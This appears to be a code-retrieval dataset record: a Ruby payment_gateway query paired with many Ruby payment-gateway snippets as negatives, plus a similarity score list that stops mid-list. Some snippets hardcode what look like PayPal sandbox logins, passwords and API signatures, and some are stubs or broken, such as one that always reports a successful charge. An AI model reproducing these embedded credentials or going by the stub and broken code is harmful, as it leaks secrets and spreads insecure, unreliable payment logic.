def payment_gateway(**options)
return if payment_gateway_type.blank?
PaymentGateway.implementation(payment_gateway_type, options).new(payment_gateway_options || {})
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def can_activate?\n self.authorize_payment\n end",
"def provider_payment_gateway\n provider_account&.payment_gateway(sca: payment_detail.payment_method_id.present?)\n end",
"def gateway\n ActiveMerchant::Billing::Base.mode = :test\n\n @gateway ||= \n ActiveMerchant::Billing::PaypalRecurringGateway.new(\n :login => 'nk_tes_1218714620_biz_api1.mail.ru',\n :password => '1218714626',\n :signature => 'An5ns1Kso7MWUdW4ErQKJJJ4qi4-A-b1ANj9g14qW6XOboBut7nnhDdn'\n )\n @gateway\n end",
"def payments_in_use?\n payment_gateway.present? && payment_gateway.configured?\n end",
"def gateway\n @gateway ||= PAYMENT_CLASS.new(\n :login => PAYMENT_LOGIN,\n :password => PAYMENT_PASSWORD,\n :signature => PAYMENT_SIGNATURE # Ignored for some gateway types; see \"config/payment_gateway.yml\"\n )\n end",
"def set_payment_gateway\n @payment_gateway = PaymentGateway.find_by(id: params[:id],site_id: @site.id)\n redirect_to admin_errors_url(error_template: '403') unless @payment_gateway\n end",
"def charge_paypal_account(amount)\n true\n end",
"def charge_paypal_account(amount)\n true\n end",
"def charge\r\n if paypal?\r\n if (@response = paypal.get_profile_details(billing_id)).success?\r\n next_billing_date = Time.parse(@response.params['next_billing_date'])\r\n if next_billing_date > Time.now.utc\r\n update_attributes(:next_renewal_at => next_billing_date, :state => 'active')\r\n subscription_payments.create(:subscriber => subscriber, :amount => amount) unless amount == 0\r\n true\r\n else\r\n false\r\n end\r\n else\r\n errors.add(:base, @response.message)\r\n false\r\n end\r\n else\r\n if amount == 0 || (@response = gateway.purchase(amount_in_pennies, billing_id)).success?\r\n update_attributes(:next_renewal_at => self.next_renewal_at.advance(:months => self.renewal_period), :state => 'active')\r\n subscription_payments.create(:subscriber => subscriber, :amount => amount, :transaction_id => @response.authorization) unless amount == 0\r\n true\r\n else\r\n errors.add(:base, @response.message)\r\n false\r\n end\r\n end\r\n end",
"def create\n billing_record = GatewayTransaction.gateway.start( current_user, request )\n if current_user.power_plan? || billing_record.new_record?\n redirect_to :action => :error, :s => billing_record.plan_id.nil? ? 0 : 1\n else\n redirect_to billing_record.premium_link\n end\n end",
"def in_payment?\n @in_payment\n end",
"def adyen_payment\n load_object\n opts = all_opts(@order,params[:payment_method_id], 'payment')\n opts.merge!(address_options(@order))\n gateway = adyen_gateway\n\n #if Spree::Config[:auto_capture]\n # response = gateway.setup_purchase(opts[:money], opts)\n #else\n # response = gateway.setup_authorization(opts[:money], opts)\n #end\n\n unless response.success?\n gateway_error(response)\n redirect_to edit_order_checkout_url(@order, :step => \"payment\")\n return\n end\n\n redirect_to (gateway.redirect_url_for response.token, :review => payment_method.preferred_review)\n rescue ActiveMerchant::ConnectionError => e\n gateway_error I18n.t(:unable_to_connect_to_gateway)\n redirect_to :back\n end",
"def gateway_callback(pr,&block)\n\t \t\n\n\t \treturn if (self.new_record? || self.is_verify_payment == \"true\")\n\t \t\n=begin\n\t \tnotification = PayuIndia::Notification.new(\"\", options = {:key => Auth.configuration.payment_gateway_info[:key], :salt => Auth.configuration.payment_gateway_info[:salt], :params => pr})\n\t \tself.payment_status = 0\n\t \tif(notification.acknowledge && notification.complete?)\n\t \t\tself.payment_status = 1 \n\t \tend\n=end\n\n\t\t## we should just set, gateway callback complete as true, and based on that never show the pay with payumoney link again in the show action.\n\n\t\t## just looking to see if \n\t\tif (pr[\"mihpayid\"] && pr[\"hash\"] && (pr[\"txnid\"] == self.id.to_s))\n\t\t\tself.gateway_callback_called = true\n\t\tend\n\t \tyield if block_given?\n\t \treturn true\n\t end",
"def process_payment!\n @payment_type.pay\n end",
"def payment_gateway_type\n gateway_setting.gateway_type\n end",
"def pay(payment)\n retval\n end",
"def payment_accepted(payment)\n payment_amount = payment.amount.to_f\n if outstanding_payment_amount <= 0\n fully_paid if payment_amount > 0\n elsif payment_amount < 0\n self.status = Enums::PaymentStatus::WAITING_FOR_PAYMENT\n end\n save\n end",
"def alipay_handle_billing_integration \n payment_method = PaymentMethod.find(params[:payment_method_id])\n payment = @order.pending_payments.first\n #payment_method = @order.pending_payments.first.payment_method\n if payment.payment_method.kind_of?(BillingIntegration::Alipay)\n #pay\n redirect_to alipay_full_service_url(@order, payment_method)\n end\n end",
"def payment_on_account?\n status == Enums::PaymentStatus::PAYMENT_ON_ACCOUNT\n end",
"def create\n @payment_gateway = PaymentGateway.new(payment_gateway_params)\n\n respond_to do |format|\n if @payment_gateway.save\n flash[:success] = 'Payment gateway was successfully created.'\n format.html { redirect_to admin_payment_gateway_url(@payment_gateway) }\n format.json { render :show, status: :created, location: @payment_gateway }\n else\n format.html { render :new }\n format.json { render json: @payment_gateway.errors, status: :unprocessable_entity }\n end\n end\n end",
"def collect_payment?\n true\n end",
"def gateway\n Braintree::Gateway.new(\n environment: :sandbox,\n merchant_id: ENV['BRAINTREE_MERCHANT_ID'],\n public_key: ENV['BRAINTREE_PUBLIC_KEY'],\n private_key: ENV['BRAINTREE_PRIVATE_KEY']\n )\n end",
"def accept(analyzer)\n analyzer.analyze_payment(self)\n end",
"def payment_gateway\n return Spree::BogusGateway.new if ENV['RAILS_ENV'] == \"development\" and Spree::Gateway::Config[:use_bogus]\n\n # retrieve gateway configuration from the database\n gateway_config = GatewayConfiguration.find :first\n config_options = {}\n gateway_config.gateway_option_values.each do |option_value|\n key = option_value.gateway_option.name.to_sym\n config_options[key] = option_value.value\n end\n gateway = gateway_config.gateway.clazz.constantize.new(config_options)\n\n return gateway\n end",
"def create\n @payment_gateway = PaymentGateway.new(params[:payment_gateway])\n\n respond_to do |format|\n if @payment_gateway.save\n format.html { redirect_to([:admin, @payment_gateway], :notice => 'Payment gateway was successfully created.') }\n format.xml { render :xml => @payment_gateway, :status => :created, :location => @payment_gateway }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @payment_gateway.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def create\n @payment = @application.authorize_payment payment_params, request.remote_ip\n if @payment.authorized?\n redirect_to payment_path(@payment), notice: 'Payment was successfully authorized.'\n else\n render :new\n end\n end",
"def need_to_be_paid?(gateway, payment_status, amount)\n !paid? && (payment_status == SUCCESS_STATES[gateway.to_s]) && (self.amount.to_f == amount.to_f)\n end",
"def capture(payment:)\n response = Api.capture_payment(\n credentials,\n payment[:payment_token],\n payment[:amount_cents],\n payment[:amount_currency].to_s\n )\n\n if response.code.to_i == 200\n payment_fee = response['splits']&.find_all { |split| split['type'] == 'PaymentFee' }&.first\n PaymentResult.success(\n AccesstypeAdyen::PAYMENT_GATEWAY,\n payment_token: payment[:payment_token],\n payment_gateway_fee: !payment_fee.nil? ? payment_fee['amount']['value'] : nil,\n payment_gateway_fee_currency: !payment_fee.nil? ? payment_fee['amount']['currency'] || response['amount']['currency'] : nil,\n amount_currency: response['amount']['currency'].to_s,\n amount_cents: response['amount']['value'],\n status: response['status']\n )\n else\n error_response(response['errorCode'], response['message'], response['status'], payment[:payment_token])\n end\n end",
"def handle_paid_payment(payment)\n response = MangoPay::Withdrawal.create({\n 'UserID' => payment.recipient.mangopay_id,\n 'WalletID' => 0,\n 'BeneficiaryID' => payment.recipient.mangopay_beneficiary_id,\n 'Amount' => payment.total_sum.cents,\n 'Tag' => payment.id\n })\n\n puts \"WITHDRAWAL RESPONSE #{response.inspect}\"\n\n if response[\"ErrorCode\"]\n ApplicationHelper.send_error_notification(response[\"ErrorCode\"], \"MangopayWithdrawalError\", response)\n return false\n else\n return true\n end\n\n end",
"def gateway(*args)\n begin\n @gateway ||= self.class.gateway(*args)\n rescue Exception => x\n payment_errors[:gateway] = x.message\n public_payment_errors[:gateway] = 'failed to initialize'\n end\n end",
"def pay\n unless self.payment_id\n payment = create_payment\n self.payment_id = payment.id\n self.status = 'paid'\n self.pay_date = Time.now\n self.save\n add_to_balance\n end\n end",
"def confirm\n @payment_gateway = @order.payment_gateway_class.new(order: @order)\n if @payment_gateway.collect_payment?\n head :bad_request\n else\n @order.complete!\n head :ok\n end\n end",
"def payment_plan\n bank_account_terms > 1 ? BANK_FINANCED : NOT_FINANCED\n end",
"def gateway_callback(params,&block)\n\t\t## if its a new_record we don't do any callback, because the payment doesnt exist to check it .\n\t\t## if the user has passed in is_verify_payment, we still don;t do this callback, because \n\t\treturn if (self.new_record? || self.is_verify_payment == \"true\") \n\n\t\tyield if block_given?\n\tend",
"def ouroboros_accept\n MorLog.my_debug('Ouroboros payment : accept', 1)\n @payment = Payment.find(:first, :conditions => \"id = #{params[:order_id].to_i}\")\n if @payment\n @user = @payment.user\n MorLog.my_debug(\"Ouroboros payment : user - #{@user.id}\", 1)\n @enabled = Confline.get_value(\"Ouroboros_Enabled\", @user.owner_id).to_i\n if @enabled.to_i == 1\n if @payment.pending_reason.to_s == 'Unnotified payment'\n key = Confline.get_value(\"Ouroboros_Secret_key\", @user.owner_id)\n @hash = Ouroboros::Hash.reply_hash(params, key)\n if @hash == params[:signature]\n if params[:amount].to_d == @payment.amount.to_d*100\n @currency = Confline.get_value('Ouroboros_Default_Currency', @user.owner_id)\n rate = count_exchange_rate(session[:default_currency], @payment.currency)\n @user.balance += @payment.gross.to_d / rate\n @user.save\n @payment.completed = 1\n @payment.transaction_id = params[:tid]\n @payment.shipped_at = Time.now\n @payment.payer_email = @user.email\n @payment.payment_hash = params[:signature]\n @payment.pending_reason = ''\n @payment.save\n MorLog.my_debug(\"Ouroboros payment : payment - #{@payment.id}\", 1) if @payment\n MorLog.my_debug(\"Ouroboros payment : amount - #{@payment.gross.to_d / rate}\", 1)\n @error = 0\n else\n @error = 5\n MorLog.my_debug('Ouroboros payment : Amount missmach')\n MorLog.my_debug(' SYSTEM :' + @payment.amount.to_s)\n MorLog.my_debug(' Ouroboros :' + (params[:amount].to_d/100).to_s)\n end\n else\n @error = 4\n MorLog.my_debug('Ouroboros payment : Hash missmach')\n MorLog.my_debug(' SYSTEM :' + @hash)\n MorLog.my_debug(' Ouroboros :' + params[:signature])\n end\n else\n @error = 3\n MorLog.my_debug('Ouroboros payment : Unnotified payment.')\n MorLog.my_debug(' SYSTEM : ' + @payment.pending_reason.to_s)\n MorLog.my_debug(' Ouroboros : Notified payment')\n end\n else\n @error = 2\n MorLog.my_debug('Ouroboros payment : Ouroboros disabled')\n MorLog.my_debug(' SYSTEM : '+ @enabled.to_s)\n end\n else\n @error = 1\n MorLog.my_debug('Ouroboros payment : Payment was not found')\n end\n end",
"def create\n @payment_gateway = PaymentGateway.new(params[:payment_gateway])\n\n respond_to do |format|\n if @payment_gateway.save\n format.html { redirect_to @payment_gateway, notice: 'Payment gateway was successfully created.' }\n format.json { render json: @payment_gateway, status: :created, location: @payment_gateway }\n else\n format.html { render action: \"new\" }\n format.json { render json: @payment_gateway.errors, status: :unprocessable_entity }\n end\n end\n end",
"def can_supply?\n payment_received? || payment_on_account?\n end",
"def payment\n @amount = 10.00\n @sim_transaction = AuthorizeNet::SIM::Transaction.new(AUTHORIZE_NET_CONFIG['api_login_id'], AUTHORIZE_NET_CONFIG['api_transaction_key'], @amount, :hosted_payment_form => true)\n @sim_transaction.set_hosted_payment_receipt(AuthorizeNet::SIM::HostedReceiptPage.new(:link_method => AuthorizeNet::SIM::HostedReceiptPage::LinkMethod::GET, :link_text => 'Continue', :link_url => payments_thank_you_url(:only_path => false)))\n\n end",
"def deal_with_payment\n if human_amount_due <= 0\n update_attributes!(active: false)\n lease.mark_next_active_from_date(self.due_date)\n else\n true\n end\n end",
"def gateway\n self.class.gateway\n end",
"def payment_success?\n @fields['decision'] == 'ACCEPT'\n end",
"def capture!\n if hpp_payment? || adyen_cc_payment?\n amount = money.money.cents\n process do\n payment_method.send(\n :capture, amount, response_code, gateway_options)\n end\n else\n super\n end\n end",
"def can_capture?(payment)\n payment.checkout?\n end",
"def purchase!\n if adyen_cc_payment?\n capture!\n else\n super\n end\n end",
"def prepare_gateway\n ActiveMerchant::Billing::Base.mode = gateway_mode\n begin\n @gateway = ActiveMerchant::Billing.const_get(\"#{gateway_name}Gateway\").new(gateway_credentials)\n @result[:gateway] = true\n end\n @result[:gateway]\n end",
"def accept(analyzer)\n analyzer.analyze_person(self)\n payments.each do |payment|\n payment.accept(analyzer)\n end\n end",
"def payment_confirmation_required?\n true\n end",
"def payment_gateway_server\n if defined?(::PAYMENT_GATEWAY)\n ::PAYMENT_GATEWAY\n else\n ActiveMerchant::Billing::Base.mode = (['production', 'staging'].include?(ENV['RAILS_ENV']) ? :production : :test)\n ActiveMerchant::Billing::AuthorizeNetGateway.new(\n :login => AUTH_NET_LOGIN, # global constants from environment file\n :password => AUTH_NET_TXN_KEY,\n :test => ['production', 'staging'].include?(ENV['RAILS_ENV'])\n )\n end\n end",
"def payment\n @amount = 10.00\n @sim_transaction = AuthorizeNet::SIM::Transaction.new(AUTHORIZE_NET_CONFIG['api_login_id'], AUTHORIZE_NET_CONFIG['api_transaction_key'], @amount, :hosted_payment_form => true)\n @sim_transaction.set_hosted_payment_receipt(AuthorizeNet::SIM::HostedReceiptPage.new(:link_method => AuthorizeNet::SIM::HostedReceiptPage::LinkMethod::GET, :link_text => 'Continue', :link_url => payments_thank_you_url(:only_path => false)))\n\n # @transaction = AuthorizeNet::AIM::Transaction.new(AUTHORIZE_NET_CONFIG['api_login_id'], AUTHORIZE_NET_CONFIG['api_transaction_key'], :gateway=>:sandbox)\n # credit_card = AuthorizeNet::CreditCard.new('4111111111111111', '1120')\n # @response = @transaction.purchase('10.00', credit_card)\n\n # if @response.success?\n # puts \"Successfully made a purchase (authorization code: #{response.authorization_code})\"\n # else\n # raise \"Failed to make purchase.\"\n # end\n end",
"def pay\n @bill = Bill.find_by(id: params[:bill_id].to_i, home_id: params[:home_id].to_i)\n @payment = Payment.new(description: @bill.name, amount: @bill.amount,\n recipient_paypal_email: @bill.user.paypal)\n @recipient = @payment.recipient_paypal_email\n @payment.sender_paypal_email = current_user.paypal\n @payment.paid_at = Time.now.strftime(\"%A, %B %e, %Y %l:%M %P %Z\")\n @amount = @payment.amount\n request = HTTParty.post(\"https://svcs.sandbox.paypal.com/AdaptivePayments/Pay\",\n headers: {\"X-PAYPAL-SECURITY-USERID\" => \"maria.cassino-facilitator_api1.gmail.com\",\n \"X-PAYPAL-SECURITY-PASSWORD\" => \"U9FL2MK962DKPXMR\",\n \"X-PAYPAL-SECURITY-SIGNATURE\" => \"AFcWxV21C7fd0v3bYYYRCpSSRl31A2tjSJXfuAz3het2TLAiz2uCt1eN\",\n \"X-PAYPAL-REQUEST-DATA-FORMAT\" => \"JSON\",\n \"X-PAYPAL-RESPONSE-DATA-FORMAT\" => \"JSON\",\n \"X-PAYPAL-APPLICATION-ID\" => \"APP-80W284485P519543T\"\n },\n body: {actionType: \"PAY\",\n currencyCode: \"USD\",\n receiverList: {\n receiver:[\n {amount: @amount,\n email: @recipient}\n ]\n },\n returnUrl: \"http://www.example.com/success.html\",\n cancelUrl: \"http://www.example.com/failure.html\",\n requestEnvelope:{\n errorLanguage: \"en_US\",\n detailLevel: \"ReturnAll\"\n }}.to_json\n )\n @payment.save\n @bill.paid_by = current_user.id\n @bill.paid = true\n @bill.paid_at = Time.now.strftime(\"%A, %B %e, %Y %l:%M %P %Z\")\n @bill.save\n render :payment\n end",
"def accounts_payable?\n type == 'ACCPAY'\n end",
"def purchase!\n if ratepay?\n capture!\n elsif adyen_cc_payment?\n authorize!\n capture!\n else\n super\n end\n end",
"def add_payment_method\n authorize(current_employer)\n @customer = Customer.new\n end",
"def can_capture?(payment)\n payment.pending? || payment.checkout?\n end",
"def can_capture?(payment)\n payment.pending? || payment.checkout?\n end",
"def can_capture?(payment)\n payment.pending? || payment.checkout?\n end",
"def can_capture?(payment)\n payment.pending? || payment.checkout?\n end",
"def can_capture?(payment)\n payment.pending? || payment.checkout?\n end",
"def gateway_is_express_only\n PAYMENT_CLASS == ActiveMerchant::Billing::PaypalExpressGateway ||\n PAYMENT_CLASS.superclass == ActiveMerchant::Billing::PaypalExpressGateway\n end",
"def checkout\n setup_response = gateway.setup_authorization(100,\n :ip => request.remote_ip,\n :return_url => url_for(:action => 'process_payment'),\n :cancel_return_url => url_for(:action => 'cancel'),\n :description => \"subscription\"\n )\n redirect_to gateway.redirect_url_for(setup_response.token)\nend",
"def authorize_payment\n if !self.pending_purchase_order && self.payment_object\n order, payment = self.purchase_and_authorize\n if payment && payment.success?\n# self.payment_object = nil # remove payment object so we can re-validate\n self.purchase_orders.reload\n return payment.success?\n end\n end\n false\n end",
"def gateway?\n context.transport_manager.gateways.include?(self)\n end",
"def pay_by_phone?\n status == Enums::PaymentStatus::PAY_BY_PHONE\n end",
"def guard_process_payment_from_created; true; end",
"def guard_process_payment_from_created; true; end",
"def enable(payment_gateway_id)\n\t\t\tkparams = {}\n\t\t\tclient.add_param(kparams, 'paymentGatewayId', payment_gateway_id)\n\t\t\tclient.queue_service_action_call('householdpaymentgateway', 'enable', 'bool', kparams)\n\t\t\tif (client.is_multirequest)\n\t\t\t\treturn nil\n\t\t\tend\n\t\t\treturn client.do_queue()\n\t\tend",
"def payment\n Zapi::Models::Payment.new\n end",
"def store_credit_card?\n paid?\n end",
"def requires_manual_payment?\n Paykido::Application.config.always_pay_manually or\n !self.payer.registered?\n end",
"def create\n @payment = Payment.new(payment_params)\n @user = User.find(params[:user_id])\n @payment.proofreader_id = current_user.id\n @payment.request = current_user.balance \n \n \n Stripe.api_key = ENV[\"STRIPE_API_KEY\"]\n token = params[:stripeToken]\n\n recipient = Stripe::Recipient.create(\n :name => @payment.legalname,\n :type => \"individual\",\n :bank_account => token\n )\n current_user.recipient = recipient.id\n current_user.save\n \n\n transfer = Stripe::Transfer.create(\n :amount => (@payment.request * 97).floor,\n :currency => \"usd\",\n :recipient => current_user.recipient\n )\n\n current_user.balance = 0\n current_user.save\n\n respond_to do |format|\n if @payment.save\n format.html { redirect_to dashboard_path, notice: 'Payment was successfully made. You should see your money in your account within 7 business days.' }\n format.json { render action: 'show', status: :created, location: @payment }\n else\n format.html { render action: 'new' }\n format.json { render json: @payment.errors, status: :unprocessable_entity }\n end\n end\n end",
"def checkout\n create_adapter!\n booking = StripeBooking.new(paymentplan: Paymentplan.find(params[:plan_id]))\n booking.succeed_booking!(Booking.current)\n redirect_to ordersuccess_path\n end",
"def payment_method\n Zapi::Models::PaymentMethod.new\n end",
"def success\n if params[:reference].present?\n\n paystackObj = Paystack.new(ENV['PAYSTACK_PUBLIC_KEY'], ENV['PAYSTACK_PRIVATE_KEY'])\n\n subscriptions = PaystackSubscriptions.new(paystackObj)\n result = subscriptions.create(\n\n :customer => current_user.email,\n :plan => \"PLN_96ws6ovviw8028d\", #plan id\n :amount => 200000 #in KOBO\n\n \n )\n\n\n u = current_user\n u.subscribed = true\n u.subscription_code = code\n u.email_token = token\n u.save!\n \n else\n redirect_to new_subscription_path, notice: \"Error Making Payment, Try Again\"\n\n end\n end",
"def gateway(token)\n request(\n __method__,\n :get,\n \"#{api_base}/gateway\",\n Authorization: token\n )\n end",
"def gateway(token)\n request(\n __method__,\n :get,\n \"#{api_base}/gateway\",\n Authorization: token\n )\n end",
"def payout\n\t\t# if !current_user.merchant_id.blank?\n # \t\t\taccount = Stripe::Account.retrieve(current_user.merchant_id)\n # \t\t\t@login_link = account.login_links.create()\n\t\t# end\n end",
"def pay!\n #soap_server = VendorPayment.generate_soap_server\n #token = VendorPayment.generate_usa_epay_security_token\n #custNum = observed.vendor_payment_period.store.id\n #paymentMethodID = nil\n #parameters = generate_transaction_request\n #response = soap_server.runCustomerTransaction(token, custNum, paymentMethodID, parameters)\n #\n if self.vendor_payment_period.store.usa_epay_customer_number.blank?\n self.errors['usa_epay_customer_number'] = \"The USA ePay custNum must be set before a payment can be made.\"\n return\n end\n gateway = VendorPayment.gateway\n payment_methods_response = gateway.get_customer_payment_methods(:customer_number => self.vendor_payment_period.store.usa_epay_customer_number)\n monthly_transfer_method = nil\n items = if payment_methods_response.params['get_customer_payment_methods_return']\n payment_methods_response.params['get_customer_payment_methods_return']['item']\n else\n []\n end\n \n if items.is_a?(Hash)\n items = [items]\n end\n \n items.each do |payment_method|\n if payment_method['method_name'].strip == 'Monthly ACH Transfer'\n monthly_transfer_method = payment_method\n end\n end\n \n if monthly_transfer_method\n response = gateway.run_customer_transaction(:customer_number => self.vendor_payment_period.store.usa_epay_customer_number,\n :command => 'CheckCredit',\n # USA ePay does pennies for the amount, so it needs to be\n # multiplied by 100\n :payment_method_id => monthly_transfer_method['method_id'],\n :amount => self.amount * 100)\n \n \n self.state = if response.message['result_code'].strip == 'A'\n VendorPayment.status_codes[response.message['status_code']]\n else\n VendorPayment.status_codes[\"E\"]\n end\n self.response_data = YAML::dump(response)\n if !response.message['ref_num'].blank?\n self.response_code = response.message['ref_num']\n save\n else\n save\n self.errors['transaction'] = \"State: #{self.state}. There was an error with code #{response.message['error_code']}, while trying to make the payment. Check USA ePay for reference number #{response.message['ref_num']} if necessary.\\n\\nFull Message: #{response.message.inspect}\"\n end\n self.vendor_payment_period.update_payment_total!\n self.vendor_payment_period.update_state!\n else\n self.errors['payment_method'] = \"There is no payment method on the vendor called 'Monthly ACH Transfer'\"\n end\n end",
"def authorizable_cc_payment?\n adyen_cc_payment? && amount != 0\n end",
"def accept\n load_order\n if @order.accepted_at.blank? && (@current_retailer && @current_retailer.id == @order.retailer_id)\n \[email protected]_attribute(:accepted_at, Time.now)\n \tbegin\n \t @order.payments.each do |payment|\n \t payment.payment_source.send(\"capture\", payment)\n \t end\n \tSpree::OrderMailer.accepted_notification(@order).deliver\n \t rescue Spree::Core::GatewayError => error\n \t # Handle messaging to retailer - error flash that something\n \t flash[:error] = \"Something went wrong with the payment on this order. Please hold off on shipping and contact ReserveBar.\"\n \t # Handle email to reservbar that something went wrong\n \t Spree::OrderMailer.capture_payment_error_notification(@order, error)\n \t @order.update_attribute(:accepted_at, nil)\n\t end\n end\n redirect_to admin_order_url(@order)\n end",
"def charge(amount)\n charge_rec = charge!(amount)\n gateway_response = charge_rec.gateway_response\n\n if gateway_response\n gateway_response.instance_eval do\n @success\n end\n else\n false\n end\n end",
"def accounts_payable?\n type == 'ACCPAYCREDIT'\n end",
"def use_webtopay \n wp_extras = {\n callbackurl: confirm_order_url,\n cancelurl: confirm_order_url,\n accepturl: confirm_order_url,\n orderid: 20\n }\n\n @payment = WebToPay::Payment(payment_params.merge(wp_extras))\n redirect_to @payment.url\n end",
"def accept\n @card = Card[params[:card][:key]] or raise(Wagn::NotFound, \"Can't find this Account Request\") #ENGLISH\n @user = @card.extension or raise(Wagn::Oops, \"This card doesn't have an account to approve\") #ENGLISH\n System.ok?(:create_accounts) or raise(Wagn::PermissionDenied, \"You need permission to create accounts\") #ENGLISH\n \n if request.post?\n @user.accept(params[:email])\n if @user.errors.empty? #SUCCESS\n redirect_to (System.setting('*invite+*thanks') || '/')\n return\n end\n end\n render :action=>'invite'\n end",
"def allowed_to_pay_member_fee?\n return false if admin?\n\n if current_member? || in_grace_period?\n allowed_to_pay_renewal_member_fee?\n else\n allowed_to_pay_new_membership_fee?\n end\n end",
"def alipay_checkout_payment\n payment_method = PaymentMethod.find(params[:payment_method_id])\n #Rails.logger.debug \"@payment_method=#{@payment_method.inspect}\" \n Rails.logger.debug \"[DEBUG] alipay_full_service_url:\"+aplipay_full_service_url(@order, payment_method)\n # notice that load_order would call before_payment, if 'http==put' and 'order.state == payment', the payments will be deleted. \n # so we have to create payment again\n @order.payments.create(:amount => @order.total, :payment_method_id => payment_method.id)\n @order.payments.first.started_processing!\n\n #redirect_to_alipay_gateway(:subject => \"donatecn\", :body => \"donatecn\", :amount => @donate.amount, :out_trade_no => \"123\", :notify_url => pay_fu.alipay_transactions_notify_url)\n end",
"def process_payment\n\n raise 'invalid credit card' unless @credit_card && @credit_card.valid?\n \n gateway = ActiveMerchant::Billing::AuthorizeNetGateway.new(\n :login => LOGIN_ID,\n :password => TRANSACTION_KEY\n )\n\n description = \"Concerts in the Clearing\"\n if reservation\n description += \"/Tickets, #{reservation.concert.name}\"\n end\n\n response = gateway.purchase((amount * 100).to_i, @credit_card, name_and_address.merge({:description => description}))\n return [true, response.authorization] if response.success?\n return [false, response.message]\n \n end",
"def payment_pending?\n payment_state == PAYMENT_PENDING\n end",
"def pay\n \n Notifyer.print( 'Shop::StripeTransfer#pay' , self ) if Rails.env.development?\n \n set_description\n self.process!\n \n begin\n Stripe::Transfer.create(\n amount: self.amount.round.to_i,\n destination: self.destination,\n source_transaction: self.source_transaction,\n currency: self.currency,\n description: self.description,\n metadata: {\n 'description' => self.description,\n 'order_item_id' => self.order_item_id\n },\n statement_descriptor: \"#{self.description} test 001\",\n application_fee: self.application_fee,\n #recipient: self.destination \n )\n self.finis!\n rescue Stripe::StripeError => e\n self.fail!\n self.update(stripe_errors: e.message)\n errored('Shop::StripeTransfer#pay', e )\n return false\n end\n true\n end",
"def payment\n @amount = 10.00\n @sim_transaction = AuthorizeNet::SIM::Transaction.new(AUTHORIZE_NET_CONFIG['api_login_id'], AUTHORIZE_NET_CONFIG['api_transaction_key'], @amount, :relay_url => payments_relay_response_url(:only_path => false))\n end",
"def payment\n @amount = 10.00\n @sim_transaction = AuthorizeNet::SIM::Transaction.new(AUTHORIZE_NET_CONFIG['api_login_id'], AUTHORIZE_NET_CONFIG['api_transaction_key'], @amount, :relay_url => payments_relay_response_url(:only_path => false))\n end",
"def paypal\n if params[:token]\n if @subscription.complete_paypal(params[:token])\n if admin_user_pending?\n redirect_to activate_path(@user.activation_code)\n else\n flash[:notice] = 'Your billing information has been updated'\n redirect_to :action => \"billing\"\n end\n else\n render :action => 'billing'\n end\n else\n redirect_to :action => \"billing\"\n end\n end",
"def pay_status_paypal\n\n end",
"def pay\n @cash_out = CashOut.find(params[:id])\n\n @transaction = Transaction.new\n @transaction.user = @cash_out.user\n @transaction.transaction_type = 'payment'\n @transaction.amount = @cash_out.amount * -1\n @transaction.attachable = @cash_out\n @transaction.transaction_at = Time.now\n\n if @transaction.save\n @cash_out.status = 'paid'\n @cash_out.paid_at = @transaction.transaction_at\n @cash_out.save\n\n flash[:notice] = \"Se ha realizado el pago\"\n redirect_to [:admin, @cash_out]\n else\n flash[:error] = \"No se pudo realizar el pago\"\n redirect_to [:admin, @cash_out]\n end\n end",
"def can_credit?(payment)\n payment.completed? && payment.credit_allowed > 0\n end",
"def can_credit?(payment)\n payment.completed? && payment.credit_allowed > 0\n end",
"def cc_pay?\n plan&.direct_pay && id != 3744\n end",
"def can_capture?(payment)\n payment.state == 'pending' || payment.state == 'checkout'\n end",
"def gateway(a_config_file_name=nil)\n unless @@gateway\n payflow_pro_config = config(a_config_file_name)\n gw = ActiveMerchant::Billing::PayflowGateway.new({\n :login => @@payflow_pro_login,\n :password => @@payflow_pro_password,\n :partner => @@payflow_pro_partner,\n :certification_id => @@payflow_pro_certification_id\n }.merge(payflow_pro_config[:mode] == 'test' ? { :test => true } : {}))\n else\n gw = @@gateway\n end\n gw\n end",
"def pay\n # Find the user to pay.\n captain = User.find( params[:id] )\n\n # Charge amount owed over .971 to account for Stripe fee. This needs to be done here because the fee is being charged to the captain, so he needs to charge his players extra to account for the money being taken out of his take.\n amount = session[:amount_owed]/0.971\n # Calculate the fee amount that goes to the application.\n fee = (amount * Rails.application.secrets.fee_percentage).to_i\n\n begin\n charge_attrs = {\n amount: amount,\n currency: user.currency,\n source: params[:token],\n description: \"Test Charge via Stripe Connect\",\n application_fee: fee,\n destination: captain.stripe_user_id\n }\n\n # case params[:charge_on]\n # when 'connected'\n # p charge_attrs\n # # Use the user-to-be-paid's access token\n # # to make the charge directly on their account\n # charge = Stripe::Charge.create( charge_attrs, user.secret_key )\n # when 'platform'\n # # Use the platform's access token, and specify the\n # # connected account's user id as the destination so that\n # # the charge is transferred to their account.\n # charge_attrs[:destination] = user.stripe_user_id\n charge = Stripe::Charge.create( charge_attrs )\n # end\n\n flash[:notice] = \"Charged successfully! <a target='_blank' rel='#{params[:charge_on]}-account' href='https://dashboard.stripe.com/test/payments/#{charge.id}'>View in dashboard »</a>\"\n\n rescue Stripe::CardError => e\n error = e.json_body[:error][:message]\n flash[:error] = \"Charge failed! #{error}\"\n end\n\n redirect_to session[:saved_url]\n end",
"def can_credit?(payment)\n return false unless payment.state == 'completed'\n return false unless payment.order.payment_state == 'credit_owed'\n payment.credit_allowed > 0\n end"
] |
[
"0.6853565",
"0.6428193",
"0.63494873",
"0.6320662",
"0.6298716",
"0.6283909",
"0.6262367",
"0.6262367",
"0.6164472",
"0.6155474",
"0.6125761",
"0.6118897",
"0.6078844",
"0.6073745",
"0.60575163",
"0.60520357",
"0.60486794",
"0.60229534",
"0.6010164",
"0.5978152",
"0.59581035",
"0.5954143",
"0.59112406",
"0.5879043",
"0.5870985",
"0.58389914",
"0.5837717",
"0.581795",
"0.58072346",
"0.5805483",
"0.57883024",
"0.5782234",
"0.57813424",
"0.5779742",
"0.5774438",
"0.57606184",
"0.57570535",
"0.5747082",
"0.57393694",
"0.57300717",
"0.572658",
"0.57229227",
"0.57166654",
"0.5713236",
"0.57096785",
"0.5700413",
"0.56959504",
"0.56918144",
"0.5681043",
"0.5666714",
"0.5660792",
"0.5652155",
"0.5641029",
"0.5617087",
"0.5617087",
"0.5617087",
"0.5617087",
"0.5617087",
"0.5612328",
"0.5605826",
"0.5601053",
"0.5599074",
"0.559626",
"0.55939925",
"0.55939925",
"0.5589084",
"0.5585479",
"0.5552601",
"0.5541119",
"0.5534678",
"0.5518284",
"0.5515311",
"0.55129033",
"0.5508633",
